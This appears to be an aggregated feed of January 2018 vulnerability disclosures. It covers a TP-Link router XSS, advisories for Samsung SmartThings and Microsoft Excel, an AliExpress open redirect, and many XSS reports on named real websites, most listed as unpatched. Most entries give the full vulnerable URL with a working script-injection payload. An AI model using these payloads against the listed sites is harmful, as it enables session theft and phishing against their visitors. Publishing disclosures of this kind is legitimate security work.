TP-Link wireless router Archer C1200 - Cross-Site Scripting

Unauthenticated + Author: Usman Saeed usman at xc0re.net + Affected Version: Firmware version: 1.13 Build 2018/01/24 rel.52299 EU · Impact: Client side attacks are very common and are the source of maximum number of user compromises. With this attack, the threat actor can steal cookies, redirect...

PT-2018-16309 · Samsung · Samsung Smartthings Hub

Name of the Vulnerable Software and Affected Versions: Samsung SmartThings Hub STH-ETH-250 version 0.20.17 Description: The issue arises from the insecure extraction of fields from the "shard" table in the SQLite database by the video-core process, leading to a buffer overflow on the stack. This...

PT-2018-1502 · Microsoft · Excel Viewer +2

Name of the Vulnerable Software and Affected Versions: Microsoft Office affected versions not specified Microsoft Excel affected versions not specified Microsoft Excel Viewer affected versions not specified Description: The issue is related to incorrect handling of objects in memory, which can...

login.aliexpress.com Open Redirect vulnerability

Vulnerable URL: https://login.aliexpress.com/xman/xlogout.htm?returnurl=http://f01.s.alicdn.com/kf/HTB1R1OTb7fbuJjSsD4OxiqiFXaB.html Details: Description| Value ---|--- Patched:| No Latest check for patch:| 10.01.2018 Vulnerability type:| Open Redirect Vulnerability status:| Publicly disclosed...

pokemon.com XSS vulnerability

Vulnerable URL: https://www.pokemon.com/us/play-pokemon/pokemon-events/find-an-event/?city=Providencepp=100name=type=premierdate=365name==%22%3E%3Cscript%3EalertString.fromCharCode88,83,83%3C/script%3E176order=whencode=02905within=250=61+Trask+St.type=tcgobject=0date=0other=1=1 Details:...

autoescolatriangulo.com XSS vulnerability

Vulnerable URL: http://autoescolatriangulo.com/modules/modjoinstagrambox/tmpl/instagrambox.php?username=xss%22%3E%3Csvg/onload=prompt/openbugbounty/%3E=〈=pt-BR=true=true=100%=350pxℑ=medium=285989=F8F8F8=FFFFFF==260796206.0efbe26.89a76a9668934089a2d00d928486fd26 Details: Description| Value ---|---...

planenluxury.com XSS vulnerability

Vulnerable URL: http://www.planenluxury.com/es/%22+%3E%3C%252Fsvg%3E%3C%252F|%3E%3Csvg%252Fonload=prompt2%3E/7/0-0-g-p-0/ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 19.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / N...

remaxlife.com.mx XSS vulnerability

Vulnerable URL: http://remaxlife.com.mx/es/%22+%3E%3C%252Fsvg%3E%3C%252F|%3E%3Csvg%252Fonload=prompt2%3E/7/0-0-g-p-0/ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 19.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 2127753 VIP...

koreascience.or.kr XSS vulnerability

Vulnerable URL: http://www.koreascience.or.kr/article/ArticleFullRecord.jsp?cn=DJTJBT2014v12n181%22%3E%3Csvg%2Fonload%3Dalert%27OPENBUGBOUNTY%27%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 18.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclos...

repositoriouba.sisbi.uba.ar XSS vulnerability

Vulnerable URL: http://repositoriouba.sisbi.uba.ar/gsdl/cgi-bin/library.cgi?a=q=1=1=1=p-10000-00---off-0encruci--00-2----0-10-0---0---0direct-10----4-------0-1l--10-es-Zz-1---20-about---00-3-1-00-00--4----0-0-01-00-0utfZz-8-00=%22%3E%3Csvg%2Fonload%3Dalert%27OPENBUGBOUNTY%27%3E Details:...

thebreastsite.com XSS vulnerability

Vulnerable URL: http://www.thebreastsite.com/sitesearch.aspx?keywords=%3C%2Fscript%3E%22%3E%3Cscript%3Eprompt%22OPENBUGBOUNTY%22%3C%2Fscript%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 18.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...

hobbyprylar.se XSS vulnerability

Vulnerable URL: http://hobbyprylar.se/search.php?searchstring=%27%22%3E%3Csvg%2Fonload%3Dconfirm%28%2FOPENBUGBOUNTY%2F%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 18.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 4632548...

denniswigg.co.uk XSS vulnerability

Vulnerable URL: http://www.denniswigg.co.uk/contactform.php Details: Description| Value ---|--- Patched:| No Latest check for patch:| 18.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Coordinated Disclosure...

svg-eg.de XSS vulnerability

Vulnerable URL: http://www.svg-eg.de/flashdetection.swf?flashContentURL=javascript:alert5389 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 18.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 10349778 VIP website status:| No...

allergyrelief101.com XSS vulnerability

Vulnerable URL: http://www.allergyrelief101.com/sitesearch.aspx?keywords=%3C%2Fscript%3E%22%3E%3Cscript%3Eprompt%22OPENBUGBOUNTY%22%3C%2Fscript%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 17.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclose...

sbcounty.gov XSS vulnerability

Vulnerable URL: http://www.sbcounty.gov/museum/search/default.asp?SearchGroup=aguamansa=%27%22/%3E%3Cscript%3Ealert/OPENBUGBOUNTY/;%3C/script%3E=ASCsortby=Surnameby=Surname=1 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 17.01.2018 Vulnerability type:| XSS Vulnerabilit...

uni-max.ro XSS vulnerability

Vulnerable URL: https://www.uni-max.ro/search/?EXPS=%27;alert/XSSPOSED///%27;alert/XSSPOSED///%22;alert/XSSPOSED///%22;alert/XSSPOSED///--%3E%3C/sCRipT%3E%22%3E%27%3E%3CsCRipT%3Ealert/XSSPOSED/%3C/sCRipT%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 17.01.2018...

developer.yahoo.com XSS vulnerability

Vulnerable URL: http://developer.yahoo.com/r3nw4--\n Details: Description| Value ---|--- Patched:| No Latest check for patch:| 16.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Coordinated Disclosure Timeline...

rentalcarhire.co.nz XSS vulnerability

Vulnerable URL: http://www.rentalcarhire.co.nz/login.php?username=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E\n Details: Description| Value ---|--- Patched:| No Latest check for patch:| 16.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 8281784 VIP website...

assurmember.be XSS vulnerability

Vulnerable URL: http://www.assurmember.be/Common/ForgotPassword.asp?Action=Send=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E\n Details: Description| Value ---|--- Patched:| No Latest check for patch:| 16.01.2018 Vulnerability type:| XSS Vulnerability...